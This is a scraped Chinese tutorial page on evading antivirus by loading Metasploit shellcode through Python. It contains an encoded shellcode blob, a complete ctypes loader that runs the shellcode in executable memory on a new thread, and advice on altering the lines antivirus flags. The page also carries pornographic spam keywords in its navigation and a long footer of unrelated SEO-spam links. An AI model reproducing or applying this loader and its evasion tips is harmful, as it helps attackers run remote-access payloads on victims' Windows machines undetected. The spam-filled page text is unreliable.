电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

通過Python實現(xiàn)Payload分離免殺過程詳解

瀏覽:3日期:2022-07-17 17:54:05

缺點:

編譯成exe以后體積過大

實現(xiàn):

msf生成shellcode代碼:

通過Python實現(xiàn)Payload分離免殺過程詳解

將payload給copy下來,去除引號。

x2fx4fx69x43x41x41x41x41x59x49x6ex6cx4dx63x42x6bx69x31x41x77x69x31x49x4dx69x31x49x55x69x33x49x6fx44x37x64x4bx4ax6ax48x2fx72x44x78x68x66x41x49x73x49x4dx48x50x44x51x48x48x34x76x4ax53x56x34x74x53x45x49x74x4bx50x49x74x4dx45x58x6ax6ax53x41x48x52x55x59x74x5ax49x41x48x54x69x30x6bx59x34x7ax70x4ax69x7ax53x4cx41x64x59x78x2fx36x7ax42x7ax77x30x42x78x7ax6ax67x64x66x59x44x66x66x67x37x66x53x52x31x35x46x69x4cx57x43x51x42x30x32x61x4cx44x45x75x4cx57x42x77x42x30x34x73x45x69x77x48x51x69x55x51x6bx4ax46x74x62x59x56x6cx61x55x66x2fx67x58x31x39x61x69x78x4cx72x6ax56x31x6fx4dx7ax49x41x41x47x68x33x63x7ax4ax66x56x47x68x4dx64x79x59x48x69x65x6ax2fx30x4cx69x51x41x51x41x41x4bx63x52x55x55x47x67x70x67x47x73x41x2fx39x56x71x43x6dx6ax41x71x41x4dx38x61x41x49x41x44x51x57x4ax35x6cx42x51x55x46x42x41x55x45x42x51x61x4fx6fx50x33x2bx44x2fx31x5ax64x71x45x46x5ax58x61x4ax6dx6cx64x47x48x2fx31x59x58x41x64x41x72x2fx54x67x68x31x37x4fx68x6ex41x41x41x41x61x67x42x71x42x46x5ax58x61x41x4cx5ax79x46x2fx2fx31x59x50x34x41x48x34x32x69x7ax5ax71x51x47x67x41x45x41x41x41x56x6dx6fx41x61x46x69x6bx55x2bx58x2fx31x5ax4ex54x61x67x42x57x55x31x64x6fx41x74x6ex49x58x2fx2fx56x67x2fx67x41x66x53x68x59x61x41x42x41x41x41x42x71x41x46x42x6fx43x79x38x50x4dx50x2fx56x56x32x68x31x62x6bx31x68x2fx39x56x65x58x76x38x4dx4ax41x2bx46x63x50x2fx2fx2fx2bx6dx62x2fx2fx2fx2fx41x63x4dx70x78x6ex58x42x77x37x76x77x74x61x4ax57x61x67x42x54x2fx39x55x3d

將自己的代碼放入第3行的shell_code位置。

import ctypes,base64 encode_shellcode = 'shell_code'shellcode = base64.b64decode(encode_shellcode)rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

以上代碼是絕對會被查殺的,但是可以通過修改代碼繞過。思路如下,先查找殺軟查殺哪里,再修改殺軟查殺的代碼,同時保證正常運行。提示一下,查殺的代碼再5-6行之間,對其進行修改即可。

返回session:

通過Python實現(xiàn)Payload分離免殺過程詳解

免殺效果:

通過Python實現(xiàn)Payload分離免殺過程詳解

參考資料:

https://github.com/TideSec/BypassAntiVirus

https://micro8.gitbook.io/micro8/

以上就是本文的全部內(nèi)容,希望對大家的學習有所幫助,也希望大家多多支持好吧啦網(wǎng)。

標簽: Python 編程
相關文章:
主站蜘蛛池模板: 复合肥,化肥厂,复合肥批发,化肥代理,复合肥品牌-红四方 | 世界箱包品牌十大排名,女包小众轻奢品牌推荐200元左右,男包十大奢侈品牌排行榜双肩,学生拉杆箱什么品牌好质量好 - Gouwu3.com | 重庆钣金加工厂家首页-专业定做监控电视墙_操作台 | 电子厂招聘_工厂招聘_普工招聘_小时工招聘信息平台-众立方招工网 | 升降炉_真空气氛炉_管式电阻炉厂家-山东中辰电炉有限公司 | 灌装封尾机_胶水灌装机_软管灌装封尾机_无锡和博自动化机械制造有限公司 | 香港新时代国际美容美发化妆美甲培训学校-26年培训经验,值得信赖! | 红立方品牌应急包/急救包加盟,小成本好项目代理_应急/消防/户外用品加盟_应急好项目加盟_新奇特项目招商 - 中红方宁(北京) 供应链有限公司 | 恒温水槽与水浴锅-上海熙浩实业有限公司| 高压油管,液压接头,液压附件-烟台市正诚液压附件 | 在线钠离子分析仪-硅酸根离子浓度测定仪-油液水分测定仪价格-北京时代新维测控设备有限公司 | 济南玻璃安装_济南玻璃门_济南感应门_济南玻璃隔断_济南玻璃门维修_济南镜片安装_济南肯德基门_济南高隔间-济南凯轩鹏宇玻璃有限公司 | 屏蔽泵厂家,化工屏蔽泵_维修-淄博泵业 | 山东限矩型液力偶合器_液力耦合器易熔塞厂家-淄博市汇川源机械厂 | 液压压力机,液压折弯机,液压剪板机,模锻液压机-鲁南新力机床有限公司 | 济南ISO9000认证咨询代理公司,ISO9001认证,CMA实验室认证,ISO/TS16949认证,服务体系认证,资产管理体系认证,SC食品生产许可证- 济南创远企业管理咨询有限公司 郑州电线电缆厂家-防火|低压|低烟无卤电缆-河南明星电缆 | 污水处理设备-海普欧环保集团有限公司 | 透平油真空滤油机-变压器油板框滤油机-滤油车-华之源过滤设备 | 篷房[仓储-婚庆-展览-活动]生产厂家-江苏正德装配式帐篷有限公司 | 佛山市钱丰金属不锈钢蜂窝板定制厂家|不锈钢装饰线条|不锈钢屏风| 电梯装饰板|不锈钢蜂窝板不锈钢工艺板材厂家佛山市钱丰金属制品有限公司 | 色谱柱-淋洗液罐-巴罗克试剂槽-巴氏吸管-5ml样品瓶-SBS液氮冻存管-上海希言科学仪器有限公司 | 气动隔膜阀_气动隔膜阀厂家_卫生级隔膜阀价格_浙江浙控阀门有限公司 | 医养体检包_公卫随访箱_慢病随访包_家签随访包_随访一体机-济南易享医疗科技有限公司 | 高空重型升降平台_高空液压举升平台_高空作业平台_移动式升降机-河南华鹰机械设备有限公司 | 全自动端子机|刺破式端子压接机|全自动双头沾锡机|全自动插胶壳端子机-东莞市傅氏兄弟机械设备有限公司 | 安全,主动,被动,柔性,山体滑坡,sns,钢丝绳,边坡,防护网,护栏网,围栏,栏杆,栅栏,厂家 - 护栏网防护网生产厂家 | 千淘酒店差旅平台-中国第一家针对TMC行业的酒店资源供应平台 | 塑料瓶罐_食品塑料瓶_保健品塑料瓶_调味品塑料瓶–东莞市富慷塑料制品有限公司 | 橡胶粉碎机_橡胶磨粉机_轮胎粉碎机_轮胎磨粉机-河南鼎聚重工机械制造有限公司 | 橡胶粉碎机_橡胶磨粉机_轮胎粉碎机_轮胎磨粉机-河南鼎聚重工机械制造有限公司 | 三氯异氰尿酸-二氯-三氯-二氯异氰尿酸钠-优氯净-强氯精-消毒片-济南中北_优氯净厂家 | 北京宣传片拍摄_产品宣传片拍摄_宣传片制作公司-现像传媒 | 安全阀_弹簧式安全阀_美标安全阀_工业冷冻安全阀厂家-中国·阿司米阀门有限公司 | Pos机办理_个人商户免费POS机申请-拉卡拉办理网 | 贴片电感_贴片功率电感_贴片绕线电感_深圳市百斯特电子有限公司 贴片电容代理-三星电容-村田电容-风华电容-国巨电容-深圳市昂洋科技有限公司 | 东莞ERP软件_广州云ERP_中山ERP_台湾工厂erp系统-广东顺景软件科技有限公司 | 对夹式止回阀厂家,温州对夹式止回阀制造商--永嘉县润丰阀门有限公司 | 爱佩恒温恒湿测试箱|高低温实验箱|高低温冲击试验箱|冷热冲击试验箱-您身边的模拟环境试验设备技术专家-合作热线:400-6727-800-广东爱佩试验设备有限公司 | 写方案网_方案策划方案模板下载| 东风体检车厂家_公共卫生体检车_医院体检车_移动体检车-锦沅科贸 | 西点培训学校_法式西点培训班_西点师培训_西点蛋糕培训-广州烘趣西点烘焙培训学院 |